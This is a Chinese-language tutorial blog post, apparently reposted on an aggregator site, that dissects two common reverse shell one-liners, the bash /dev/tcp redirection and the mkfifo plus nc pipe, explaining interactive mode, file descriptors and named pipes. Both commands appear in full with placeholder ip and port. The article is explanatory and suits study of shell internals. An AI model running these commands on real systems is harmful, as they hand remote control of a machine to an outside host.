当前位置: 首页 > article >正文

谈谈常用Reverse shell,以及他们是怎么做到的。

谈谈常用Reverse shell,以及他们是怎么做到的。

  • 前言
  • /bin/bash -i >& /dev/tcp/ip/port 0>&1
    • /bin/bash -i
    • >&
    • /dev/tcp
    • 0>&1
    • 结合起来
  • rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ip port >/tmp/f
    • rm /tmp/f
    • mkfifo /tmp/f
    • cat /tmp/f|/bin/bash -i 2>&1|nc ip port >/tmp/f
      • cat /tmp/f|/bin/bash -i 2>&1
      • /bin/bash -i 2>&1|nc ip port >/tmp/f
    • 结合起来


前言

平时经常会用到的几个reverse shell,有没有想过它们那么长一串是什么意思?有什么作用?来让我们看看他们是什么妖魔鬼怪。

/bin/bash -i >& /dev/tcp/ip/port 0>&1

拆分看看

/bin/bash -i

在这里插入图片描述
/bin/bash -i -i参数是表示interactive,意为可交互的shell。可交互即为一问一答,用户输入,shell执行;不可交互即为shell脚本,比如Poc.sh。如何区分?文件内输出$-查看bash所使用选项。
在这里插入图片描述
交互式 shell中输入$-查看bash所使用选项。
在这里插入图片描述

>&

在这里插入图片描述
先来回忆一下三个文件描述符:标准输入(0)、标准输出(1)、标准错误(2)。>&word&>word语义上和> word 2>&1一致,都是把标准错误和标准输出重定向到word中,只是写法不同,推荐第一种。
来看看第二种的具体含义。
在这里插入图片描述

额,看的头皮发麻。个人感觉就是解释上面的 &>>&为什么等同于> word 2>&1。首先大前提是我们不指定重定向标准输入(0)标准输出(1)标准错误(2)三个中的一个去使用>&,那么>&复制标准输出1,组成1>&.然后因为我们没有指定数字,>&这种用法就会出现重定向错误(2)2>&。根据文字描述先后顺序先复制标准输出1然后出现重定向错误2,也就是2>&1。这就解释了为什么>&等同于> word 2>&1

/dev/tcp

在这里插入图片描述
在这里插入图片描述
如果/dev/tcp/ip/port是一个有效的主机名/Internetl地址和端口/服务名称,bash会尝试打开对应的TCP套接字。

0>&1

当前目录有secret(无r权限)内容为“SECRET"和test(有r权限)内容为"TEST"的两个文件。

我想把secret内容写到content文件里该怎么办,使用`cat secret > content,因为secret没有r权限无法被打印出来并写入conten中。>默认会将标准输出重定向到某文件,所以cat secret > content等价于cat secret 1> content。
在这里插入图片描述

如果我想把无法写入content的文件原因也写进去怎么办。
cat secret > content 2>content,后面添上2>content将错误流也写入content中。
在这里插入图片描述

但是这种写法有一个问题cat secret > content 2>content,会开两个fd(文件描述符),fd之间可能会有资源竞争的问题,所以有了以&-结束的写法。这时候我们加入一个能读取的文件test。并将其一起写入content中。
在这里插入图片描述
使用&将标准输出和标准错误绑定在一起,而标准输出1本来就要被输入到content中,标准错误2和标准输出1绑定在一起都被输入到content中。

在这里插入图片描述
0>&1就是将标准输入和标准输出绑定在一起输入到前面要写入的地方。

结合起来

/bin/bash -i >& /dev/tcp/ip/port 0>&1
即为使用bash开启一个可交互的shell。
在这里插入图片描述

这个shell会通过TCP套接字将标准错误和标准输出重定向到目标。
在这里插入图片描述

目标又会通过套接字将标准输入和标准输出重定向回来替换标准输入0。
在这里插入图片描述

就是这么一个事情。

在这里插入图片描述

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ip port >/tmp/f

拆开看

rm /tmp/f

清除可能tmp原有的管道f,以及其他名字是f的文件。
在这里插入图片描述
在这里插入图片描述

mkfifo /tmp/f

在/tmp建立一个管道文件f,管道文件可以允许无关进程之间互相通信。创建完毕后通过O/I来操作,完事后要手动删除管道文件。
在这里插入图片描述

cat /tmp/f|/bin/bash -i 2>&1|nc ip port >/tmp/f

cat /tmp/f|/bin/bash -i 2>&1

将管道中的内容打印出作为/bin/bash -i 2>&1的标准输入(0)。+当前管道f内没有任何值。
在这里插入图片描述

/bin/bash -i 2>&1|nc ip port >/tmp/f

然后/bin/bash开启了一个可交互的shell,执行/tmp/f中的命令后将标准输出(1)和标准错误(2)重定向到了nc连接的主机端口中。此时反弹放处于挂起,
在这里插入图片描述
然后将我们的输入通过nc建立的通道写入f文件完成一次闭环。

结合起来

删除/tmp/f创建一个管道文件f。
在这里插入图片描述

将f文件里的值作为bash的输入,并以可交互的模式将标准错误和标准输出作为nc的输入。
在这里插入图片描述
nc连接上ip port后将前面的标准错误和标准输出通过nc传给ip port。
在这里插入图片描述
最后ip port通过nc将要执行的下一条命令覆盖写入f中。
在这里插入图片描述
然后形成闭环,是不是很简单呢。


http://www.kler.cn/a/16283.html

相关文章:

  • Taro React-Native IOS 打包发布
  • nacos配置中心入门
  • 提升前端性能:如何优化多个异步请求的执行效率Promise.all()
  • 2分钟在阿里云ECS控制台部署个人应用(图文示例)
  • Webkit 滚动条样式属性
  • 飞牛云fnOS本地部署WordPress个人网站并一键发布公网远程访问
  • linux下的权限管理
  • gl-opendrive插件(车俩3D仿真模拟自动驾驶)
  • MATLAB | 如何使用MATLAB绘制高度自定义的桑基图(sankey)
  • 废物,我TMD一个985却斗不过专科生(大厂自动化测试2年被裁)
  • Java使用 Scanner连续输入int, String 异常错误输出原因分析
  • 轻叶H5营销单页,让你的营销更加清爽高效
  • 实训笔记1
  • 15-4-线程-线程同步之互斥量加锁解锁
  • matlab绘制折线图基本操作
  • 『python爬虫』04. 爬虫需要知道的HTTP协议知识(保姆级图文)
  • 云和恩墨荣获2023数字中国创新大赛·信创赛道“最具发展潜力奖”等4个奖项
  • C语言从入门到精通第16天(指针的定义与基本使用)
  • PID控制---基于python模拟
  • 面向画布(Canvas)的JavaScript库
  • 【c语言小项目】基于easyX的俄罗斯方块
  • Analysis For Office的一些使用技巧
  • C++练级之初级:第六篇
  • 使用PyTorch和Flower 进行联邦学习
  • 重载new和delete
  • Flutter集成个推推送-安卓原生篇